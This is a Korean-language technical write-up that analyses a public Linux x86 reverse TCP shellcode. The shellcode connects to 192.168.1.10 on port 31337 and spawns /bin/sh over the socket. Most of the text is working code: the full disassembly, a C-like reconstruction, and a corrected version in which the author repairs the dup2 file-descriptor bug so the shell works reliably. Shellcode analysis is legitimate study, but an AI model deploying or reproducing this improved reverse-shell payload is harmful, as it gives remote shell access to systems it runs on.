분석할 쉘코드는 http://shell-storm.org/shellcode/files/shellcode-849.php 입니다.
링크 외에도 다양한 reverse TCP 쉘코드가 많은데, 제가 본 코드중에 가장 가독성 있고, 깔끔한 쉘코드여서 해당 쉘코드를 선택했습니다.
어셈코드는 다음과 같습니다.
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 31 db xor ebx,ebx
8048064: 31 c9 xor ecx,ecx
8048066: 31 d2 xor edx,edx
8048068: b0 66 mov al,0x66
804806a: b3 01 mov bl,0x1
804806c: 51 push ecx
804806d: 6a 06 push 0x6
804806f: 6a 01 push 0x1
8048071: 6a 02 push 0x2
8048073: 89 e1 mov ecx,esp
8048075: cd 80 int 0x80
8048077: 89 c6 mov esi,eax
8048079: b0 66 mov al,0x66
804807b: 31 db xor ebx,ebx
804807d: b3 02 mov bl,0x2
804807f: 68 c0 a8 01 0a push 0xa01a8c0
8048084: 66 68 7a 69 pushw 0x697a
8048088: 66 53 push bx
804808a: fe c3 inc bl
804808c: 89 e1 mov ecx,esp
804808e: 6a 10 push 0x10
8048090: 51 push ecx
8048091: 56 push esi
8048092: 89 e1 mov ecx,esp
8048094: cd 80 int 0x80
8048096: 31 c9 xor ecx,ecx
8048098: b1 03 mov cl,0x3
0804809a <dupfd>:
804809a: fe c9 dec cl
804809c: b0 3f mov al,0x3f
804809e: cd 80 int 0x80
80480a0: 75 f8 jne 804809a ; <dupfd>
80480a2: 31 c0 xor eax,eax
80480a4: 52 push edx
80480a5: 68 6e 2f 73 68 push 0x68732f6e
80480aa: 68 2f 2f 62 69 push 0x69622f2f
80480af: 89 e3 mov ebx,esp
80480b1: 52 push edx
80480b2: 53 push ebx
80480b3: 89 e1 mov ecx,esp
80480b5: 52 push edx
80480b6: 89 e2 mov edx,esp
80480b8: b0 0b mov al,0xb
80480ba: cd 80 int 0x80
소스코드는 다음과 같습니다.
socketcall 함수의 첫번째 인자는 호출할 socket관련 함수의 번호이며, 두번째 인자는 socket관련 함수에 전해줄 인자들이 들어있는 배열입니다.
int socketFD = socketcall(0x1, [PF_INET, SOCK_STREAM, IPPROTO_TCP]); // socket 함수 struct sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; // 0x2 serverAddr.sin_addr.s_addr = inet_addr("192.168.1.10"); serverAddr.sin_port = htons(31337); socketcall(0x3, [socketFD, (struct sockaddr*)&serverAddr, 0x10]); // connect 함수 int i = 3; while (i--) dup2(3, i); execve("/bin/sh", ["/bin/sh", NULL], NULL);
여기서 문제가 되는 부분은 dup2 함수를 호출할때입니다.
쉘을 연결해야 하는 socketFD를 이용하지 않고 단순히 3번 FD를 stdin, stdout, stderr로 바꿔주네요.
단지 링크에 올려놓은 쉘코드뿐만 아니라 인터넷에 올라와있는 많은 쉘코드들이 저런식으로 코딩돼 있습니다.
만약 쉘코드가 실행되기 전에 바이너리 안에서 파일을 open 후 close 하지 않거나, 다른 프로세스와 통신하기 위해 파이프라인을 생성했다면, 또는 그 외에 File Descriptor를 생성하는 모든 함수에 의해 socketFD는 3번이 아니게 될 수 있습니다.
그러므로 간단하게 dup2 함수 호출 전에 socket함수로 반환된 socketFD를 저장해놓은 esi 레지스터 값을 ebx에다가 mov 해주면 어떠한 상황에서도 정상적으로 동작 할 수 있습니다.
소스코드
int socketFD = socketcall(0x1, [PF_INET, SOCK_STREAM, IPPROTO_TCP]); // socket 함수 struct sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; // 0x2 serverAddr.sin_addr.s_addr = inet_addr("192.168.1.10"); serverAddr.sin_port = htons(31337); socketcall(0x3, [socketFD, (struct sockaddr*)&serverAddr, 0x10]); // connect 함수 int i = 3; while (i--) dup2(socketFD, i); // 수정된 부분 execve("/bin/sh", ["/bin/sh", NULL], NULL);
어셈코드는 다음과 같습니다.
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 31 db xor ebx,ebx
8048064: 31 c9 xor ecx,ecx
8048066: 31 d2 xor edx,edx
8048068: b0 66 mov al,0x66
804806a: b3 01 mov bl,0x1
804806c: 51 push ecx
804806d: 6a 06 push 0x6
804806f: 6a 01 push 0x1
8048071: 6a 02 push 0x2
8048073: 89 e1 mov ecx,esp
8048075: cd 80 int 0x80
8048077: 89 c6 mov esi,eax
8048079: b0 66 mov al,0x66
804807b: 31 db xor ebx,ebx
804807d: b3 02 mov bl,0x2
804807f: 68 c0 a8 01 0a push 0xa01a8c0
8048084: 66 68 7a 69 pushw 0x697a
8048088: 66 53 push bx
804808a: fe c3 inc bl
804808c: 89 e1 mov ecx,esp
804808e: 6a 10 push 0x10
8048090: 51 push ecx
8048091: 56 push esi
8048092: 89 e1 mov ecx,esp
8048094: cd 80 int 0x80
8048096: 89 d9 mov ecx,ebx ; ebx == 3
8048098: 89 f3 mov ebx,esi ; esi == socket file descriptor
0804809a <dupfd>:
804809a: fe c9 dec cl
804809c: b0 3f mov al,0x3f
804809e: cd 80 int 0x80
80480a0: 75 f8 jne 804809a ; <dupfd>
80480a2: 31 c0 xor eax,eax
80480a4: 52 push edx
80480a5: 68 6e 2f 73 68 push 0x68732f6e
80480aa: 68 2f 2f 62 69 push 0x69622f2f
80480af: 89 e3 mov ebx,esp
80480b1: 52 push edx
80480b2: 53 push ebx
80480b3: 89 e1 mov ecx,esp
80480b5: 52 push edx
80480b6: 89 e2 mov edx,esp
80480b8: b0 0b mov al,0xb
80480ba: cd 80 int 0x80